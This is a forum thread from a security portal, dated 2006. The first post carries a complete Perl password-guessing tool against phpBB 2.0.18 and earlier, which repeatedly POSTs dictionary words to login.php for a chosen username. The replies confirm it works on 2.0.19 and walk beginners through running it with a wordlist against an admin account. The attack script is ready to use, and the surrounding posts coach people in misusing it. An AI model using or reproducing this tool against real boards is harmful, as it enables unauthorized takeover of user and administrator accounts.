Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 28, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 687
Members: 0
Total: 687
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> phpBB <= 2.0.18 Remote Dictionary Attack Tool
Post new topic  Reply to topic View previous topic :: View next topic 
phpBB <= 2.0.18 Remote Dictionary Attack Tool
PostPosted: Tue Jan 31, 2006 11:41 pm Reply with quote
syntax9
Active user
Active user
 
Joined: Dec 21, 2005
Posts: 33




# Will be moved to tools section when completed. /str0ke

#!/usr/bin/perl
############################################
# Credits: Weakness and Xploit by DarkFig
# Affected products: All PhpBB versions <= 2.0.18
# Type: Dictionnary attack
# Solutions: None official , but many solutions are possible Wink
# Note: If a line of the dictionnary file contain no data => "End of the password file"
# Ps: Public after 1week lol
#Demo: http://rapidshare.de/files/9574771/phpbb_dict_login.rar.html
# Team: Hackademie [] Acid_Root [] BoD []
# PS: Volcom joyeux anniversaire , bon oki je suis en retard...voila ton cadeau ^^
############################################
use IO::Socket;

#--------------Utilisation--------------#
if(@ARGV != 6){
print "
+---------------------------------------------------------------------------------+
+------------PhpBB <= 2.0.18 Passwd Dictionnary Attack [] by DarkFig--------------+
+---------------------------------------------------------------------------------+
+ Usage: phpbb2018btr.pl <host> <path> <port> <pass_file> <username> <logfile> +
+---------------------------------------------------------------------------------+
+ <host> => The host where PhpBB is installed | [Ex: site.com] +
+ <path> => Path of the PhpBB board | [Ex: /forum/] +
+ <port> => PhpBB board port | [Default is 80] +
+ <pass_file> => File containing words (dictionnary file) | [Ex: dico.txt] +
+ <username> => Username you want to bruteforce | [Ex: MasterLamer] +
+ <file_result> => File you want to log activity | [Ex: results.txt] +
+---------------------------------------------------------------------------------+
";exit();}

#--------------Data--------------#
$host = $ARGV[0];
$path = $ARGV[1];
$full = "$host"."$path";
$port = $ARGV[2];
$pass_file = $ARGV[3];
$username = $ARGV[4];
$fileresult = $ARGV[5];
$OK = 0;
$referer = "http://"."$host"."$path"."login.php?redirect=";
$postit = "$path"."login.php";

#--------------Hello world-----------------#
print "
+---------------------------------------------------------+
+ PhpBB <= 2.0.18 Passwd Dictionnary Attack -- by DarkFig +
+---------------------------------------------------------+
[+] Username | $username
[+] Dictionnary file | $pass_file
[+] Attack log | $fileresult
+---------------------------------------------------------+";

#--------------Password file--------------#
open FILE, "<$pass_file" || die("\n[-] Can't open the file...\n");
chomp(@passdico = <FILE>);
$nligne = "0";
while ($OK ne 1) {
$passwordz = "$passdico[$nligne]";
$request = "username="."$username"."&password="."$passwordz"."&redirect=&login=Connexion";
$length = length $request;
if ($passwordz eq ""){print "\n [-] End of the password file, no result sorry !\n";close($send);close(FILE);exit();}

#--------------Sending data--------------#
$send = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || die "\n[-] Connection failed...";
print $send "POST $postit HTTP/1.1\n";
print $send "Host: $host\n";
print $send "Content-Type: application/x-www-form-urlencoded\n";
print $send "Content-Length: $length\n\n";
print $send "$request\n";
read $send, $answer, 15;
close($send);

#-------------Success---------------#
if ($answer =~ /HTTP\/(.*?) 302/) {
$OK = 1;
print "
[-] Trying the password "."$passwordz
[+] User: $username
[+] Password: $passwordz
+---------------------------------------------------------+\n";
open results, ">$fileresult";
print results "
+---------------------------------------------------------+
+ PhpBB <= 2.0.18 Passwd Dictionnary Attack -- by DarkFig +
+---------------------------------------------------------+
[+] PhpBB board | $full
[+] Board's port | $port
[+] Username | $username
[+] Dictionnary file | $pass_file
[+] Number of test | $nligne
[+] Password found | $passwordz
+---------------------------------------------------------+\n";
close(FILE);close(results);exit();}

#-------------Failed-----------------#
if ($OK == 0) {print "\n [-] Trying the password "."$passwordz";$nligne++;}}

# milw0rm.com [2005-12-21]
View user's profile Send private message
PostPosted: Sat Mar 25, 2006 12:19 pm Reply with quote
Vixje
Active user
Active user
 
Joined: Mar 25, 2006
Posts: 35




This also works on .19 versions?

--Edit--

yes it does Very Happy


Last edited by Vixje on Sun Mar 26, 2006 8:40 am; edited 1 time in total
View user's profile Send private message
PostPosted: Sun Mar 26, 2006 8:33 am Reply with quote
anton
Beginner
Beginner
 
Joined: Mar 26, 2006
Posts: 1




I'm new in this zone so please be good with me .
How I can use this code ? I see the movie but I don't understand how to launch the code and where to do that Sad
maybe is easy for you but I'm a stupid beginer Sad
View user's profile Send private message
PostPosted: Sun Mar 26, 2006 8:41 am Reply with quote
Vixje
Active user
Active user
 
Joined: Mar 25, 2006
Posts: 35




Copy the text and paste it into a file called f.e. script.pl

now download perl and install it.

now run: perl.exe script.pl, and follow instructions.

gl
View user's profile Send private message
PostPosted: Tue Apr 18, 2006 12:00 am Reply with quote
dinho
Regular user
Regular user
 
Joined: Apr 15, 2006
Posts: 16




hi guyz

what exactly should i type after C:\perl\bin\file.pl .... !!!
View user's profile Send private message
PostPosted: Tue Apr 18, 2006 12:22 am Reply with quote
sljyro
Advanced user
Advanced user
 
Joined: Mar 23, 2006
Posts: 53




the 6 arguments, each followed by a 'space'
View user's profile Send private message
PostPosted: Tue Apr 18, 2006 1:10 am Reply with quote
dinho
Regular user
Regular user
 
Joined: Apr 15, 2006
Posts: 16




how do i get these two files
??
<pass_file> => File containing words (dictionnary file) | [Ex: dico.txt] +

+ <file_result> => File you want to log activity | [Ex: results.txt]


so it should look like this:

C:\per\bin\file.pl localhost.com /forum/ 80 dico.txt admin results.txt

how do i set up dico.txt and results.txt??

thanks in advance brov Wink
View user's profile Send private message
PostPosted: Tue Apr 18, 2006 12:19 pm Reply with quote
Chb
Valuable expert
Valuable expert
 
Joined: Jul 23, 2005
Posts: 206
Location: Germany




dinho wrote:
how do i get these two files
??
<pass_file> => File containing words (dictionnary file) | [Ex: dico.txt] +

+ <file_result> => File you want to log activity | [Ex: results.txt]


so it should look like this:

C:\per\bin\file.pl localhost.com /forum/ 80 dico.txt admin results.txt

how do i set up dico.txt and results.txt??

thanks in advance brov Wink


dico.txt should contain just a wordlist. This means a list with a lot of words which should be checked if they're the admin-password.
And result.txt... Just for logging. This file should be empty.

_________________
www.der-chb.de
View user's profile Send private message Visit poster's website ICQ Number
PostPosted: Tue Apr 18, 2006 1:27 pm Reply with quote
sljyro
Advanced user
Advanced user
 
Joined: Mar 23, 2006
Posts: 53




you can get a dictionary file here (3mb txt file)
http://www.csit.fsu.edu/~burkardt/data/txt/txt.html

but take note that these are only words, if the password contains a capital letter, number or it's not a word, its useless. main disadvantage of this type of hack i would say.

and another issue, when i try this, i keep getting disconnected after a minute or so, dont know why Confused
View user's profile Send private message
phpBB <= 2.0.18 Remote Dictionary Attack Tool
  www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.159 Seconds